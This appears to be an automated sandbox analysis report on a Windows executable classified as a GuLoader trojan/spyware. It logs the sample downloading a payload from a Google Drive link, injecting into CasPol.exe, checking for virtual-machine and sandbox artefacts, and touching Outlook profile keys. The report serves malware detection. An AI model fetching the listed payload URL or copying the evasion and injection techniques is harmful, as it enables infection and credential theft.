Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9ri2cnupcf3pilpptme4k7l2h/1650461475000/18066694053602596605/*/1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-74-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.11.20:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.11.20:49785 version: TLS 1.2

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_00406D5F
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_71311BFF
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D9749
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D7ED6
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0723
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0376
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FB4
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FA0
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0388
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D8FFD
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D07D2
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D03C2
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D061C
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3E0A
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D9260
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D4263
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D06AF
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D4299
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D091B
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D1D44
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D059F
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3DE4
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D043D
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D081D
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D1010
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0898
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D1C91
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D04FA
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D1CE6
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D48D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00AD05D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00AD2A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00ADD3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00AD37D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00ADEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_1D076B62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_1D07A160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_1D079890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_1D079548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_2057C108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_2057EC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_2057D3D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_20571618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_209D5860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_209D0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_209D0B91

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_033D9749 NtAllocateVirtualMemory,

Source: FRACCIONAMIENTO 1722403906461L.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FRACCIONAMIENTO 1722403906461L.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FRACCIONAMIENTO 1722403906461L.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: edgegdi.dll

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: invalid certificate

Source: FRACCIONAMIENTO 1722403906461L.exe	Virustotal: Detection: 27%
Source: FRACCIONAMIENTO 1722403906461L.exe	ReversingLabs: Detection: 12%

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

File read: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Jump to behavior

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

File created: C:\Users\user\AppData\Local\Temp\nsq6822.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/13@3/3

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_004021AA CoCreateInstance,

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:956:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:956:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Finlandsrejserne

Jump to behavior

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000003.00000000.15477945295.0000000000BC0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_713130C0 push eax; ret
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033CFF11 push ebx; iretd
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033CE2B4 push ebp; retf
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033CE2FB push ebp; retf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00AD84B7 push edi; retn 0000h
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_205708DA push eax; iretd

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_71311BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

File created: C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\qga\qga.exe

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NTDLLUSER32KERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1P1TRVKFKYHZLCDSRI8V2K0ECN7S0SK7E
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137436673.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137436673.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NTDLLUSER32KERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16135483008.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEP
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16135483008.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3432	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4904	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_033CCB37 rdtsc

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Window / User API: threadDelayed 9376

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_0040290B FindFirstFileW,
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_0040699E FindFirstFileW,FindClose,

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

